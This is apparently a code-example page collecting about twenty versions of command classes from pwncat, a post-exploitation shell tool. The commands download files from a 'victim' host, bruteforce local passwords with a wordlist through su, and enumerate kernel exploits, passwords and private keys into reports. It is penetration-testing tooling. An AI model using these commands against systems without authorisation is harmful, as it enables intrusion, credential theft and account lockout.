Beispiel #1
0
class Command(CommandDefinition):

    PROG = "bind"
    ARGS = {
        "key":
        Parameter(
            Complete.NONE,
            metavar="KEY",
            type=KeyType,
            help="The key to map after your prefix",
            nargs="?",
        ),
        "script":
        Parameter(
            Complete.NONE,
            help="The script to run when the key is pressed",
            nargs="?",
        ),
    }
    LOCAL = True

    def run(self, args):
        if args.key is None:
            util.info("currently assigned key-bindings:")
            for key, binding in pwncat.victim.config.bindings.items():
                print(
                    f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
                )
        elif args.key is not None and args.script is None:
            if args.key in pwncat.victim.config.bindings:
                del pwncat.victim.config.bindings[args.key]
        else:
            pwncat.victim.config.bindings[args.key] = args.script
Beispiel #2
0
class Command(CommandDefinition):
    """ Download a file from the remote host to the local host"""

    PROG = "download"
    ARGS = {
        "source": Parameter(Complete.REMOTE_FILE),
        "destination": Parameter(Complete.LOCAL_FILE),
    }

    def run(self, args):

        try:
            length = pwncat.victim.get_file_size(args.source)
            started = time.time()
            with open(args.destination, "wb") as destination:
                with pwncat.victim.open(args.source, "rb",
                                        length=length) as source:
                    util.with_progress(
                        [
                            ("", "downloading "),
                            ("fg:ansigreen", args.source),
                            ("", " to "),
                            ("fg:ansired", args.destination),
                        ],
                        partial(util.copyfileobj, source, destination),
                        length=length,
                    )
            elapsed = time.time() - started
            util.success(
                f"downloaded {Fore.CYAN}{util.human_readable_size(length)}{Fore.RESET} "
                f"in {Fore.GREEN}{util.human_readable_delta(elapsed)}{Fore.RESET}"
            )
        except (FileNotFoundError, PermissionError, IsADirectoryError) as exc:
            self.parser.error(str(exc))
Beispiel #3
0
class Command(CommandDefinition):

    PROG = "bind"
    ARGS = {
        "key": Parameter(
            Complete.NONE,
            metavar="KEY",
            type=KeyType,
            help="The key to map after your prefix",
            nargs="?",
        ),
        "script": Parameter(
            Complete.NONE, help="The script to run when the key is pressed", nargs="?",
        ),
    }
    LOCAL = True

    def run(self, args):
        if args.key is None:
            for key, binding in pwncat.victim.config.bindings.items():
                console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
        elif args.key is not None and args.script is None:
            if args.key in pwncat.victim.config.bindings:
                del pwncat.victim.config.bindings[args.key]
        else:
            pwncat.victim.config.bindings[args.key] = args.script
Beispiel #4
0
class Command(CommandDefinition):
    """
    Attempt to bruteforce user password(s) from a dictionary. This will
    use the provided dictionary to attempt a local passwod bruteforce.
    
    WARNING: if automatic disabling of accounts is enabled, this **will**
                lock the targeted account out!
    """
    def get_remote_users(self):
        if pwncat.victim is not None:
            return pwncat.victim.users.keys()
        else:
            return []

    PROG = "bruteforce"
    ARGS = {
        "--dictionary,-d":
        Parameter(
            Complete.LOCAL_FILE,
            type=argparse.FileType("r"),
            help=
            "The local dictionary to use for bruteforcing (default: kali rockyou)",
            default="/usr/share/wordlists/rockyou.txt",
        ),
        "--user,-u":
        Parameter(
            Complete.CHOICES,
            choices=get_remote_users,
            help=
            "A local user to bruteforce; this can be passed multiple times for multiple users.",
            action="append",
            required=True,
            metavar="USERNAME",
        ),
    }

    def run(self, args):

        for name in args.user:
            args.dictionary.seek(0)
            for line in args.dictionary:
                line = line.strip()
                util.progress(f"bruteforcing {name}: {line}")

                try:
                    # Attempt the password
                    pwncat.victim.su(name, line, check=True)
                    pwncat.victim.users[name].password = line
                    util.success(f"user {name} has password {repr(line)}!")
                    break
                except PermissionError:
                    continue

        util.success("bruteforcing completed")
Beispiel #5
0
class Command(CommandDefinition):
    """ Download a file from the remote host to the local host"""

    PROG = "download"
    ARGS = {
        "source": Parameter(Complete.REMOTE_FILE),
        "destination": Parameter(Complete.LOCAL_FILE, nargs="?"),
    }

    def run(self, args):

        # Create a progress bar for the download
        progress = Progress(
            TextColumn("[bold cyan]{task.fields[filename]}", justify="right"),
            BarColumn(bar_width=None),
            "[progress.percentage]{task.percentage:>3.1f}%",
            "•",
            DownloadColumn(),
            "•",
            TransferSpeedColumn(),
            "•",
            TimeRemainingColumn(),
        )

        if not args.destination:
            args.destination = os.path.basename(args.source)
        elif os.path.isdir(args.destination):
            args.destination = os.path.join(
                args.destination, os.path.basename(args.source)
            )

        try:
            length = pwncat.victim.get_file_size(args.source)
            started = time.time()
            with progress:
                task_id = progress.add_task(
                    "download", filename=args.source, total=length, start=False
                )
                with open(args.destination, "wb") as destination:
                    with pwncat.victim.open(args.source, "rb", length=length) as source:
                        progress.start_task(task_id)
                        util.copyfileobj(
                            source,
                            destination,
                            lambda count: progress.update(task_id, advance=count),
                        )
                elapsed = time.time() - started

            console.log(
                f"downloaded [cyan]{util.human_readable_size(length)}[/cyan] "
                f"in [green]{util.human_readable_delta(elapsed)}[/green]"
            )
        except (FileNotFoundError, PermissionError, IsADirectoryError) as exc:
            self.parser.error(str(exc))
Beispiel #6
0
class Command(CommandDefinition):
    """ Synchronize the remote terminal with the local terminal. This will
    attempt to set the remote prompt, terminal width, terminal height, and TERM
    environment variables to enable to cleanest interface to the remote system
    possible. """

    PROG = "sync"
    ARGS = {
        "--quiet,-q":
        Parameter(Complete.NONE,
                  action="store_true",
                  help="do not output status messages")
    }
    DEFAULTS = {}

    def run(self, args):

        # Get the terminal type
        TERM = os.environ.get("TERM", None)
        if TERM is None:
            if not args.quiet:
                util.warn("no local TERM set. falling back to 'xterm'")
            TERM = "xterm"

        # Get the width and height
        columns, rows = os.get_terminal_size(0)

        # Update the state
        pwncat.victim.run(f"stty rows {rows};"
                          f"stty columns {columns};"
                          f"export TERM='{TERM}'")

        if not args.quiet:
            util.success("terminal state synchronized")
Beispiel #7
0
class Command(CommandDefinition):
    """
    Display remote system information including host ID, IP address,
    architecture, kernel version, distribution and init system. This
    command also provides the capability to view installed services
    if the init system is supported by ``pwncat``.
    """

    PROG = "sysinfo"
    ARGS = {
        "--services,-s": Parameter(
            Complete.NONE, action="store_true", help="List all services and their state"
        )
    }

    def run(self, args):

        if args.services:
            for service in pwncat.victim.services:
                if service.running:
                    console.print(
                        f"[green]{service.name}[/green] - {service.description}"
                    )
                else:
                    console.print(f"[red]{service.name}[/red] - {service.description}")
        else:
            console.print(f"Host ID: [cyan]{pwncat.victim.host.hash}[/cyan]")
            console.print(
                f"Remote Address: [green]{pwncat.victim.client.getpeername()}[/green]"
            )
            console.print(f"Architecture: [red]{pwncat.victim.host.arch}[/red]")
            console.print(f"Kernel Version: [red]{pwncat.victim.host.kernel}[/red]")
            console.print(f"Distribution: [red]{pwncat.victim.host.distro}[/red]")
            console.print(f"Init System: [blue]{pwncat.victim.host.init}[/blue]")
Beispiel #8
0
class Command(CommandDefinition):
    """ Set the currently used module in the config handler """
    def get_module_choices(self):
        yield from [module.name for module in pwncat.modules.match("*")]

    PROG = "use"
    ARGS = {
        "module":
        Parameter(
            Complete.CHOICES,
            choices=get_module_choices,
            metavar="MODULE",
            help="the module to use",
        )
    }
    LOCAL = False

    def run(self, args):

        try:
            module = pwncat.modules.find(args.module)
        except KeyError:
            console.log(
                f"[red]error[/red]: {args.module}: invalid module name")
            return

        pwncat.config.use(module)
Beispiel #9
0
class Command(CommandDefinition):
    """
    Exit pwncat. You must provide the "--yes" parameter.
    This prevents accidental closing of your remote session.
    """

    PROG = "exit"
    ARGS = {
        "--yes,-y":
        Parameter(
            Complete.NONE,
            action="store_true",
            help="Confirm you would like to close pwncat",
        )
    }
    LOCAL = True

    def run(self, args):

        # Ensure we confirmed we want to exit
        if not args.yes:
            console.log("[red]error[/red]: exit not confirmed (use '--yes')")
            return

        # Get outa here!
        raise EOFError
Beispiel #10
0
class Command(CommandDefinition):
    """
    Load modules from the specified directory. This does not remove
    currently loaded modules, but may replace modules which were already
    loaded. Also, prior to loading any specified modules, the standard
    modules are loaded. This normally happens only when modules are first
    utilized. This ensures that a standard module does not shadow a custom
    module. In fact, the opposite may happen in a custom module is defined
    with the same name as a standard module.
    """

    PROG = "load"
    ARGS = {
        "path":
        Parameter(
            Complete.LOCAL_FILE,
            help="Path to a python package directory to load modules from",
            nargs="+",
        )
    }
    DEFAULTS = {}
    LOCAL = True

    def run(self, args):
        pwncat.modules.reload(args.path)
Beispiel #11
0
class Command(CommandDefinition):
    """ List known commands and print their associated help documentation. """
    def get_command_names(self):
        if pwncat.victim and pwncat.victim.command_parser:
            return [c.PROG for c in pwncat.victim.command_parser.commands]
        return []

    PROG = "help"
    ARGS = {
        "topic": Parameter(Complete.CHOICES,
                           choices=get_command_names,
                           nargs="?")
    }
    LOCAL = True

    def run(self, args):
        if args.topic:
            for command in pwncat.victim.command_parser.commands:
                if command.PROG == args.topic:
                    if command.parser is not None:
                        command.parser.print_help()
                    else:
                        print(textwrap.dedent(command.__doc__).strip())
                    break
        else:
            util.info("the following commands are available:")
            for command in pwncat.victim.command_parser.commands:
                print(f" * {command.PROG}")
Beispiel #12
0
class Command(CommandDefinition):

    PROG = "shortcut"
    ARGS = {
        "prefix":
        Parameter(Complete.NONE,
                  help="the prefix character used for the shortcut"),
        "command":
        Parameter(Complete.NONE, help="the command to execute"),
    }
    LOCAL = True

    def run(self, args):

        for command in pwncat.victim.command_parser.commands:
            if command.PROG == args.command:
                pwncat.victim.command_parser.shortcuts[args.prefix] = command
                return

        self.parser.error(f"{args.command}: no such command")
Beispiel #13
0
class Command(CommandDefinition):
    """
    Reset the prompt used for shells in pwncat. This allows you to choose
    between the fancier colored prompt and more basic prompt. You can
    also specify a custom prompt if you'd like.

    This is mainly useful for basic shells such as /bin/sh or /bin/dash
    which do not support the nicer prompts by default.
    """

    PROG = "prompt"
    GROUPS = {"mutex": Group(mutex=True, required=True)}
    ARGS = {
        "--basic,-b":
        Parameter(
            Complete.NONE,
            group="mutex",
            action="store_true",
            help=
            "Set a basic prompt with no color or automatic system information. There _should_ be no reason to use that anymore (unless your local terminal has no ANSI support)",
        ),
        "--fancy,-f":
        Parameter(
            Complete.NONE,
            group="mutex",
            action="store_true",
            help=
            "Set a fancier prompt including auto-user, hostname, cwd information",
        ),
    }

    def run(self, args):

        if args.fancy:
            pwncat.victim.remote_prompt = """$(command printf "\\033[01;31m(remote)\\033[0m \\033[01;33m$(whoami)@$(hostname)\\033[0m:\\033[1;36m$PWD\\033[0m$ ")"""
        else:
            pwncat.victim.remote_prompt = f"(remote) {pwncat.victim.host.ip}:$PWD\\$ "

        pwncat.victim.reset(hard=False)
Beispiel #14
0
class Command(CommandDefinition):
    """ View info about a module """
    def get_module_choices(self):
        yield from [module.name for module in pwncat.modules.match("*")]

    PROG = "info"
    ARGS = {
        "module":
        Parameter(
            Complete.CHOICES,
            choices=get_module_choices,
            metavar="MODULE",
            help="The module to view information on",
            nargs="?",
        )
    }

    def run(self, args):

        if not args.module and pwncat.config.module is None:
            console.log("[red]error[/red]: no module specified")
            return

        if args.module:
            try:
                module = pwncat.modules.find(args.module)
            except KeyError:
                console.log(f"[red]error[/red]: {args.module}: no such module")
                return
        else:
            module = pwncat.config.module

        console.print(
            f"[bold underline]Module [cyan]{module.name}[/cyan][/bold underline]"
        )
        console.print(
            textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") +
            "\n")

        table = Table("Argument",
                      "Default",
                      "Help",
                      box=box.MINIMAL_DOUBLE_HEAD)
        for arg, info in module.ARGUMENTS.items():
            if info.default is pwncat.modules.NoValue:
                default = ""
            else:
                default = info.default
            table.add_row(arg, str(default), info.help)

        console.print(table)
Beispiel #15
0
class Command(CommandDefinition):
    """ Alias an existing command with a new name. Specifying no alias or command
    will list all aliases. Specifying an alias with no command will remove the 
    alias if it exists. """
    def get_command_names(self):
        return [c.PROG for c in pwncat.victim.command_parser.commands]

    PROG = "alias"
    ARGS = {
        "alias":
        Parameter(Complete.NONE, help="name for the new alias", nargs="?"),
        "command":
        Parameter(
            Complete.CHOICES,
            metavar="COMMAND",
            choices=get_command_names,
            help="the command the new alias will use",
            nargs="?",
        ),
    }
    LOCAL = True

    def run(self, args):
        if args.alias is None:
            for name, command in pwncat.victim.command_parser.aliases.items():
                console.print(
                    f" [cyan]{name}[/cyan] \u2192 [yellow]{command.PROG}[/yellow]"
                )
        elif args.command is not None:
            # This is safe because of "choices" in the argparser
            pwncat.victim.command_parser.aliases[args.alias] = [
                c for c in pwncat.victim.command_parser.commands
                if c.PROG == args.command
            ][0]
        else:
            del pwncat.victim.command_parser.aliases[args.alias]
Beispiel #16
0
class Command(CommandDefinition):
    """
    Display remote system information including host ID, IP address,
    architecture, kernel version, distribution and init system. This
    command also provides the capability to view installed services
    if the init system is supported by ``pwncat``.
    """

    PROG = "sysinfo"
    ARGS = {
        "--services,-s":
        Parameter(Complete.NONE,
                  action="store_true",
                  help="List all services and their state")
    }

    def run(self, args):

        if args.services:
            for service in pwncat.victim.services:
                if service.running:
                    print(
                        f"{Fore.GREEN}{service.name}{Fore.RESET} - {service.description}"
                    )
                else:
                    print(
                        f"{Fore.RED}{service.name}{Fore.RESET} - {service.description}"
                    )
        else:
            print(f"Host ID: {Fore.CYAN}{pwncat.victim.host.hash}{Fore.RESET}")
            print(
                f"Remote Address: {Fore.GREEN}{pwncat.victim.client.getpeername()}{Fore.RESET}"
            )
            print(
                f"Architecture: {Fore.RED}{pwncat.victim.host.arch}{Fore.RESET}"
            )
            print(
                f"Kernel Version: {Fore.RED}{pwncat.victim.host.kernel}{Fore.RESET}"
            )
            print(
                f"Distribution: {Fore.RED}{pwncat.victim.host.distro}{Fore.RESET}"
            )
            print(
                f"Init System: {Fore.BLUE}{pwncat.victim.host.init}{Fore.RESET}"
            )
Beispiel #17
0
class Command(CommandDefinition):
    """ Synchronize the remote terminal with the local terminal. This will
    attempt to set the remote prompt, terminal width, terminal height, and TERM
    environment variables to enable to cleanest interface to the remote system
    possible. """

    PROG = "sync"
    ARGS = {
        "--quiet,-q":
        Parameter(Complete.NONE,
                  action="store_true",
                  help="do not output status messages")
    }
    DEFAULTS = {}

    def run(self, args):

        # Get the terminal type
        TERM = os.environ.get("TERM", None)
        if TERM is None:
            if not args.quiet:
                console.log(
                    "[yellow]warning[/yellow]: no local [blue]TERM[/blue]; falling back to 'xterm'"
                )
            TERM = "xterm"

        # Get the width and height
        columns, rows = os.get_terminal_size(0)

        # Update the state
        pwncat.victim.run(
            f"stty rows {rows}; stty columns {columns}; export TERM='{TERM}'")

        if not args.quiet:
            console.log(
                "[green]:heavy_check_mark:[/green] terminal state synchronized",
                emoji=True,
            )
Beispiel #18
0
class Command(CommandDefinition):
    """ View info about a module """
    def get_module_choices(self):
        yield from [module.name for module in pwncat.modules.match("*")]

    PROG = "search"
    ARGS = {
        "module": Parameter(
            Complete.NONE,
            help="glob pattern",
        )
    }

    def run(self, args):

        table = Table(
            Column(header="Name", ratio=0.2),
            Column(header="Description", no_wrap=True, ratio=0.8),
            title="Results",
            box=box.MINIMAL_DOUBLE_HEAD,
            expand=True,
        )

        for module in pwncat.modules.match(f"*{args.module}*"):
            # Rich will ellipsize the column, but we need to squeze
            # white space and remove newlines. `textwrap.shorten` is
            # the easiest way to do that, so we use a large size for
            # width.
            description = module.__doc__ if module.__doc__ is not None else ""
            table.add_row(
                f"[cyan]{module.name}[/cyan]",
                textwrap.shorten(description.replace("\n", " "),
                                 width=200,
                                 placeholder="..."),
            )

        console.print(table)
Beispiel #19
0
class Command(CommandDefinition):
    """ View and revert any logged tampers which pwncat has performed on the remote system. """

    PROG = "tamper"
    ARGS = {
        "--tamper,-t":
        Parameter(
            Complete.NONE,
            action=StoreForAction(["revert"]),
            type=int,
            help="Tamper ID to revert (IDs found in tamper list)",
        ),
        "--all,-a":
        Parameter(
            Complete.NONE,
            action="store_true",
            help="Attempt to revert all tampered files",
        ),
        "--revert,-r":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            dest="action",
            const="revert",
            help="Revert the selected tamper",
        ),
        "--list,-l":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            dest="action",
            const="list",
            help="List all tampers currently logged by pwncat",
        ),
    }

    def run(self, args):

        if args.action == "revert":
            if args.all:
                tampers = list(pwncat.victim.tamper)
            else:
                try:
                    tampers = [pwncat.victim.tamper[args.tamper]]
                except KeyError:
                    console.log("[red]error[/red]: invalid tamper id")
                    return
            self.revert(tampers)
        else:
            for ident, tamper in enumerate(pwncat.victim.tamper):
                console.print(f" [cyan]{ident}[/cyan] - {tamper}")

    def revert(self, tampers: List[Tamper]):
        """ Revert the list of tampers with a nice progress bar """

        with Progress(
                "[bold]reverting[/bold]",
                "•",
                "{task.fields[tamper]}",
                BarColumn(bar_width=None),
                "[progress.percentage]{task.percentage:>3.1f}%",
                console=console,
        ) as progress:
            task = progress.add_task("reverting",
                                     tamper="init",
                                     total=len(tampers))
            for tamper in tampers:
                try:
                    progress.update(task, tamper=str(tamper))
                    tamper.revert()
                    pwncat.victim.tamper.remove(tamper)
                except RevertFailed as exc:
                    progress.log(
                        f"[yellow]warning[/yellow]: revert failed: {exc}")
                progress.update(task, advance=1)
            progress.update(task, tamper="complete")
Beispiel #20
0
class Command(CommandDefinition):
    """
    Interface with the underlying enumeration module. This provides methods
    for enumerating, viewing and clearing cached facts about the victim.
    There are various types of enumeration data which can be collected by
    pwncat. Some enumeration data is provided by "enumerator" modules which
    will be automatically run if you request a type which they provide. On
    the other hand, some enumeration is performed as a side-effect of other
    operations (normally a privilege escalation). This data is only stored
    when it is found organically. To find out what types are available, you
    should use the tab-completion at the local prompt. Some shortcuts are
    provided with the "enumeration groups" options below.
    
    """
    def get_fact_types(self):
        if pwncat.victim is None or pwncat.victim.enumerate is None:
            return
        for typ, _ in pwncat.victim.enumerate.enumerators.items():
            yield typ

    def get_provider_names(self):
        if pwncat.victim is None or pwncat.victim.enumerate is None:
            return
        seen = []
        for fact in pwncat.victim.enumerate.iter(only_cached=True):
            if fact.source in seen:
                continue
            seen.append(fact.source)
            yield fact.source

    PROG = "enum"
    GROUPS = {
        "action":
        Group(
            title="enumeration actions",
            description=
            "Exactly one action must be chosen from the below list.",
        ),
        "groups":
        Group(
            title="enumeration groups",
            description=(
                "common enumeration groups; these put together various "
                "groups of enumeration types which may be useful"),
        ),
    }
    ARGS = {
        "--show,-s":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            dest="action",
            const="show",
            group="action",
            help="Find and display all facts of the given type and provider",
        ),
        "--long,-l":
        Parameter(
            Complete.NONE,
            action="store_true",
            help=
            "Show long description of enumeration results (only valid for --show)",
        ),
        "--no-enumerate,-n":
        Parameter(
            Complete.NONE,
            action="store_true",
            help=
            "Do not perform actual enumeration; only print already enumerated values",
        ),
        "--type,-t":
        Parameter(
            Complete.CHOICES,
            action=StoreForAction(["show", "flush"]),
            nargs=1,
            choices=get_fact_types,
            metavar="TYPE",
            help=
            "The type of enumeration data to query (only valid for --show/--flush)",
        ),
        "--flush,-f":
        Parameter(
            Complete.NONE,
            group="action",
            action=StoreConstOnce,
            nargs=0,
            dest="action",
            const="flush",
            help=("Flush the queried enumeration data from the database. "
                  "This only flushed the data specified by the --type and "
                  "--provider options. If no type or provider or specified, "
                  "all data is flushed"),
        ),
        "--provider,-p":
        Parameter(
            Complete.CHOICES,
            action=StoreForAction(["show", "flush"]),
            nargs=1,
            choices=get_provider_names,
            metavar="PROVIDER",
            help="The enumeration provider to filter by",
        ),
        "--report,-r":
        Parameter(
            Complete.LOCAL_FILE,
            group="action",
            action=ReportAction,
            nargs=1,
            help=(
                "Generate an enumeration report containing all enumeration "
                "data pwncat is capable of generating in a Markdown format."),
        ),
        "--quick,-q":
        Parameter(
            Complete.NONE,
            action=StoreConstForAction(["show"]),
            dest="type",
            const=[
                "system.hostname",
                "system.arch",
                "system.distro",
                "system.kernel.version",
                "system.kernel.exploit",
                "system.network.hosts",
                "system.network",
                "writable_path",
            ],
            nargs=0,
            help="Activate the set of 'quick' enumeration types",
            group="groups",
        ),
        "--all,-a":
        Parameter(
            Complete.NONE,
            action=StoreConstForAction(["show"]),
            dest="type",
            const=None,
            nargs=0,
            help="Activate all enumeration types (this is the default)",
            group="groups",
        ),
    }
    DEFAULTS = {"action": "help"}

    def run(self, args):

        # no arguments prints help
        if args.action == "help":
            self.parser.print_help()
            return

        if args.action == "show":
            self.show_facts(args.type, args.provider, args.long)
        elif args.action == "flush":
            self.flush_facts(args.type, args.provider)
        elif args.action == "report":
            self.generate_report(args.report)

    def generate_report(self, report_path: str):
        """ Generate a markdown report of enumeration data for the remote host. This
        report is generated from all facts which pwncat is capable of enumerating.
        It does not need nor honor the type or provider options. """

        # Dictionary mapping type names to facts. Each type name is mapped
        # to a dictionary which maps sources to a list of facts. This makes
        # organizing the output report easier.
        report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}
        system_details = []

        try:
            # Grab hostname
            hostname = pwncat.victim.enumerate.first("system.hostname").data
            system_details.append(["Hostname", util.escape_markdown(hostname)])
        except ValueError:
            hostname = "[unknown-hostname]"

        # Not provided by enumerate, but natively known due to our connection
        system_details.append(
            ["Primary Address",
             util.escape_markdown(pwncat.victim.host.ip)])
        system_details.append(
            ["Derived Hash",
             util.escape_markdown(pwncat.victim.host.hash)])

        try:
            # Grab distribution
            distro = pwncat.victim.enumerate.first("system.distro").data
            system_details.append([
                "Distribution",
                util.escape_markdown(
                    f"{distro.name} ({distro.ident}) {distro.version}"),
            ])
        except ValueError:
            pass

        try:
            # Grab the architecture
            arch = pwncat.victim.enumerate.first("system.arch").data
            system_details.append(
                ["Architecture",
                 util.escape_markdown(arch.arch)])
        except ValueError:
            pass

        try:
            # Grab kernel version
            kernel = pwncat.victim.enumerate.first(
                "system.kernel.version").data
            system_details.append([
                "Kernel",
                util.escape_markdown(
                    f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}"
                ),
            ])
        except ValueError:
            pass

        try:
            # Grab SELinux State
            selinux = pwncat.victim.enumerate.first("system.selinux").data
            system_details.append(
                ["SELinux", util.escape_markdown(selinux.state)])
        except ValueError:
            pass

        try:
            # Grab ASLR State
            aslr = pwncat.victim.enumerate.first("system.aslr").data
            system_details.append(
                ["ASLR", "disabled" if aslr.state == 0 else "enabled"])
        except ValueError:
            pass

        try:
            # Grab init system
            init = pwncat.victim.enumerate.first("system.init").data
            system_details.append(
                ["Init", util.escape_markdown(str(init.init))])
        except ValueError:
            pass

        try:
            # Check if we are in a container
            container = pwncat.victim.enumerate.first("system.container").data
            system_details.append(
                ["Container",
                 util.escape_markdown(container.type)])
        except ValueError:
            pass

        # Build the table writer for the main section
        table_writer = MarkdownTableWriter()
        table_writer.headers = ["Property", "Value"]
        table_writer.column_styles = [
            pytablewriter.style.Style(align="right"),
            pytablewriter.style.Style(align="center"),
        ]
        table_writer.value_matrix = system_details
        table_writer.margin = 1

        # Note enumeration data we don't need anymore. These are handled above
        # in the system_details table which is output with the table_writer.
        ignore_types = [
            "system.hostname",
            "system.kernel.version",
            "system.distro",
            "system.init",
            "system.arch",
            "system.aslr",
            "system.container",
        ]

        # This is the list of known enumeration types that we want to
        # happen first in this order. Other types will still be output
        # but will be output in an arbitrary order following this list
        ordered_types = [
            # Sudo privileges
            "sudo",
            # Possible kernel exploits - very important
            "system.kernel.exploit",
            # Enumerated user passwords - very important
            "system.user.password",
            # Enumerated possible user private keys - very important
            "system.user.private_key",
            # Directories in our path that are writable
            "writable_path",
        ]

        # These types are very noisy. They are important for full enumeration,
        # but are better suited for the end of the list. These are output last
        # no matter what in this order.
        noisy_types = [
            # System services. There's normally a lot of these
            "system.service",
            # Installed packages. There's *always* a lot of these
            "system.package",
        ]

        with Progress(
                "enumerating report data",
                "•",
                "[cyan]{task.fields[status]}",
                transient=True,
                console=console,
        ) as progress:
            task = progress.add_task("", status="initializing")
            for fact in pwncat.victim.enumerate():
                progress.update(task, status=str(fact.data))
                if fact.type in ignore_types:
                    continue
                if fact.type not in report_data:
                    report_data[fact.type] = {}
                if fact.source not in report_data[fact.type]:
                    report_data[fact.type][fact.source] = []
                report_data[fact.type][fact.source].append(fact)

        try:
            with open(report_path, "w") as filp:
                filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")

                # Write the system info table
                table_writer.dump(filp, close_after_write=False)
                filp.write("\n")

                # output ordered types first
                for typ in ordered_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

                # output everything that's not a ordered or noisy type
                for typ, sources in report_data.items():
                    if typ in ordered_types or typ in noisy_types:
                        continue
                    self.render_section(filp, typ, sources)

                # Output the noisy types
                for typ in noisy_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

            console.log(
                f"enumeration report written to [cyan]{report_path}[/cyan]")
        except OSError as exc:
            console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")

    def render_section(self, filp, typ: str,
                       sources: Dict[str, List[pwncat.db.Fact]]):
        """
        Render the given facts all of the given type to the report pointed to by the open file
        filp.

        :param filp: the open file containing the report
        :param typ: the type all of these facts provide
        :param sources: a dictionary of sources->fact list
        """

        filp.write(f"## {typ.upper()} Facts\n\n")
        sections = []
        for source, facts in sources.items():
            for fact in facts:
                if getattr(fact.data, "description", None) is not None:
                    sections.append(fact)
                    continue
                filp.write(
                    f"- {util.escape_markdown(strip_markup(str(fact.data)))}\n"
                )

        filp.write("\n")

        for section in sections:
            filp.write(
                f"### {util.escape_markdown(strip_markup(str(section.data)))}\n\n"
            )
            filp.write(f"```\n{section.data.description}\n```\n\n")

    def show_facts(self, typ: str, provider: str, long: bool):
        """ Display known facts matching the criteria """

        data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}

        types = typ if isinstance(typ, list) else [typ]

        with Progress(
                "enumerating facts",
                "•",
                "[cyan]{task.fields[status]}",
                transient=True,
                console=console,
        ) as progress:
            task = progress.add_task("", status="initializing")
            for typ in types:
                for fact in pwncat.victim.enumerate.iter(
                        typ,
                        filter=lambda f: provider is None or f.source ==
                        provider):
                    progress.update(task, status=str(fact.data))
                    if fact.type not in data:
                        data[fact.type] = {}
                    if fact.source not in data[fact.type]:
                        data[fact.type][fact.source] = []
                    data[fact.type][fact.source].append(fact)

        for typ, sources in data.items():
            for source, facts in sources.items():
                console.print(
                    f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]"
                )
                for fact in facts:
                    console.print(f"  {fact.data}")
                    if long and getattr(fact.data, "description",
                                        None) is not None:
                        console.print(
                            markup.escape(
                                textwrap.indent(fact.data.description,
                                                "    ")))

    def flush_facts(self, typ: str, provider: str):
        """ Flush all facts that match criteria """

        types = typ if isinstance(typ, list) else [typ]
        for typ in types:
            pwncat.victim.enumerate.flush(typ, provider)
Beispiel #21
0
class Command(CommandDefinition):
    """
    Run a module. If no module is specified, use the module in the
    current context. You can enter a module context with the `use`
    command.

    Module arguments can be appended to the run command with `variable=value`
    syntax. Arguments are type-checked prior to executing, and the results
    are displayed to the terminal.

    To locate available modules, you can use the `search` command. To
    find documentation on individual modules including expected
    arguments, you can use the `info` command.
    """
    def get_module_choices(self):
        yield from [module.name for module in pwncat.modules.match("*")]

    PROG = "run"
    ARGS = {
        "--raw,-r":
        Parameter(Complete.NONE,
                  action="store_true",
                  help="Display raw results unformatted"),
        "--traceback,-t":
        Parameter(Complete.NONE,
                  action="store_true",
                  help="Show traceback for module errors"),
        "module":
        Parameter(
            Complete.CHOICES,
            nargs="?",
            metavar="MODULE",
            choices=get_module_choices,
            help="The module name to execute",
        ),
        "args":
        Parameter(Complete.NONE, nargs="*", help="Module arguments"),
    }

    def run(self, args):

        if args.module is None and pwncat.config.module is None:
            console.log("[red]error[/red]: no module specified")
            return
        elif args.module is None:
            args.module = pwncat.config.module.name

        # Parse key=value pairs
        values = {}
        for arg in args.args:
            if "=" not in arg:
                values[arg] = True
            else:
                name, value = arg.split("=")
                values[name] = value

        # pwncat.config.locals.update(values)
        config_values = pwncat.config.locals.copy()
        config_values.update(values)

        try:
            result = pwncat.modules.run(args.module, **config_values)
            pwncat.config.back()
        except pwncat.modules.ModuleFailed as exc:
            if args.traceback:
                console.print_exception()
            else:
                console.log(f"[red]error[/red]: module failed: {exc}")
            return
        except pwncat.modules.ModuleNotFound:
            console.log(f"[red]error[/red]: {args.module}: not found")
            return
        except pwncat.modules.ArgumentFormatError as exc:
            console.log(f"[red]error[/red]: {exc}: invalid argument")
            return
        except pwncat.modules.MissingArgument as exc:
            console.log(f"[red]error[/red]: missing argument: {exc}")
            return
        except pwncat.modules.InvalidArgument as exc:
            console.log(f"[red]error[/red]: invalid argument: {exc}")
            return

        if args.raw:
            console.print(result)
        else:

            if result is None or (isinstance(result, list) and not result):
                console.log(
                    f"Module [bold]{args.module}[/bold] completed successfully"
                )
                return

            if not isinstance(result, list):
                result = [result]
            self.display_item(title=args.module, results=result)

    def display_item(self, title, results):
        """ Display a possibly complex item """

        console.print(
            f"[bold underline]Module '{title}' Results[/bold underline]")

        # Uncategorized or raw results
        categories = {}
        uncategorized = []
        longform = []

        # Organize results by category
        for result in results:
            if isinstance(result,
                          pwncat.modules.Result) and result.is_long_form():
                longform.append(result)
            elif (not isinstance(result, pwncat.modules.Result)
                  or result.category is None):
                uncategorized.append(result)
            elif result.category not in categories:
                categories[result.category] = [result]
            else:
                categories[result.category].append(result)

        # Show uncategorized results first
        if uncategorized:
            console.print(f"[bold]Uncategorized Results[/bold]")
            for result in uncategorized:
                console.print("- " + str(result))

        # Show all other categories
        if categories:
            for category, results in categories.items():
                console.print(f"[bold]{category}[/bold]")
                for result in results:
                    console.print("  - " + str(result))

        # Show long-form results in their own sections
        if longform:
            for result in longform:
                if result.category is None:
                    console.print(f"[bold]{result.title}[/bold]")
                else:
                    console.print(
